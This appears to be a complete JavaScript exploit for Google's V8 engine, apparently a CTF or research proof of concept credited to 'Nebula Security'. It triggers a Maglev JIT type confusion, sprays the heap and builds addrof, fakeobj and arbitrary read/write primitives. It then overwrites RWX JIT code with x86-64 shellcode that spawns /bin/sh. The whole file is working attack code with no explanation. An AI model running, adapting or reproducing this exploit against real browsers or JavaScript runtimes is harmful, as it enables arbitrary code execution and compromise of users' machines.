print("[*] Exploit by Nebula Security"); const MAX_SMI = 1073741823; var arr_buf = new ArrayBuffer(8); var arr_buf2 = new ArrayBuffer(8); var f64_arr = new Float64Array(arr_buf); var b64_arr = new BigInt64Array(arr_buf); let u32_arr = new Uint32Array(arr_buf); function ftoi(f) { f64_arr[0] = f; return b64_arr[0]; } function itof(i) { b64_arr[0] = i; return f64_arr[0]; } function smi(i) { return i << 1n; } function hex(i) { return "0x" + i.toString(16); } function blah(o, a, b, x) { let y; if (a) { y = x + 1; } else { y = 1; } const t = y | 0; let z; if (b) { z = y; } else { z = 1; } o.x = z; return t; } const MARKER = 2261622.5098039214; const obj = { x: 1 }; const warmup = { x: 1 } const n = 0x100000; const backing = new Array(n).fill(13.37); const packed_double_map = 0x0100d0d5n; const packed_map = 0x0100d15dn; const fake_packed_double0 = itof(packed_map | (0x000007e5n << 32n)) const fake_length = 0x2n; const fake_backing = 0x01540011n + 0x10n; const fake_packed_double1 = itof(fake_backing | (fake_length << 33n)) backing[1] = itof(0x000005ddn | (fake_length << 33n)); const arbwrite_addr = 0xcccccccccccccccc; backing[0x10] = itof(0x000007e501010e75n); backing[0x11] = itof(0x00000000000007e5n); backing[0x12] = itof(0x0000010000000000n); backing[0x13] = itof(0x0000010000000000n); backing[0x14] = itof(0xcccccccc00000000n); backing[0x15] = itof(0x00000000ccccccccn) backing[0x16] = itof(0x0000000000000000n) const fake_length1 = 0x25788785n; const fake_backing1 = 0x01540011n + 0x120n; backing[0x20] = itof(packed_double_map | (0x000007e5n << 32n)); backing[0x21] = itof(fake_backing1 | (fake_length1 << 33n)) backing[0x23] = itof(0x00000939n | (fake_length1 << 33n)); for (let i = 0; i < 4; i++) { gc(); } % PrepareFunctionForOptimization(blah); for (let i = 0; i < 2000; i++) { blah(warmup, true, true, i & 1023); blah(warmup, false, true, i & 1023); blah(warmup, true, false, i & 1023); } % OptimizeMaglevOnNextCall(blah); blah(warmup, true, true, 7); blah(obj, true, true, MAX_SMI); gc({ type: "major" }); function make_arr() { return [ 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, ] } for (let round = 0; round < 120; round++) { const tmp = []; for (let i = 0; i < 20; i++) { tmp.push(make_arr()) } } obj.x[0] = print obj.x[1] = print function addrof_cage(v) { backing[2] = 0; obj.x[0] = v; return ftoi(backing[2]); } function fakeobj(cage_addr) { backing[2] = itof(cage_addr); return obj.x[0]; } const arbwrite_arraybuf = fakeobj(0x01540099n); const arbwrite_dv = new DataView(arbwrite_arraybuf); const oob_array = fakeobj(0x01540011n + 0x108n); print("[+] oob array length: " + hex(oob_array.length)); function read_arr(arr, idx) { return arr[idx]; } % PrepareFunctionForOptimization(read_arr); read_arr(oob_array, 1); % OptimizeMaglevOnNextCall(read_arr); read_arr(oob_array, 1); function swap_buf_ptr(ptr) { const val0 = ((0xffffffff_00000000n & (ptr << 32n))) | (0x00000000_00000000n) const val1 = ((0x00000000_ffffffffn & ptr >> 32n)) | (0x00000010_00000000n) backing[0x14] = itof(val0); backing[0x15] = itof(val1); } function read_qword(addr) { swap_buf_ptr(addr); const arbwrite_u64arr = new BigUint64Array(arbwrite_arraybuf); return arbwrite_u64arr[0]; } function write_qword(addr, val) { swap_buf_ptr(addr); const arbwrite_u64arr = new BigUint64Array(arbwrite_arraybuf); arbwrite_u64arr[0] = val; } const ptalloc_leak = ftoi(read_arr(oob_array, 0x157fda)); const cage_base = read_qword(ptalloc_leak + 8n) - 0x2000000n; print("[+] cage base: " + hex(cage_base)) function jitme() { return [1.1, 2.2, 3.3, 4.4]; } % PrepareFunctionForOptimization(jitme); jitme(); % OptimizeFunctionOnNextCall(jitme); jitme(); let partition_alloc = read_qword(cage_base + 8n) - 0x8380n; print("[+] partition alloc: " + hex(partition_alloc)); let code_ptr_table = read_qword(partition_alloc + 0x6280n); print("[+] code ptr table: " + hex(code_ptr_table)); let code_obj = -1; for (let i = 0x100n; i < 0x8000n; i += 8n) { const entry = read_qword(code_ptr_table + i); if (entry == 0xffff00000000135cn) { code_obj = read_qword(code_ptr_table + i - 8n) >> 16n; break; } } print("[+] code obj: " + hex(code_obj)); let rwx_addr = read_qword(code_obj + 0x14n); print("[+] rwx addr: " + hex(rwx_addr)); var shellcode = [ 0x6e69622fb848686an, 0xe7894850732f2f2fn, 0x2434810101697268n, 0x6a56f63101010101n, 0x894856e601485e08n, 0x050f583b6ad231e6n ]; for (let i = 0n; i < shellcode.length; i++) { write_qword(rwx_addr + i * 8n, shellcode[i]) } print("[+] get shell"); jitme();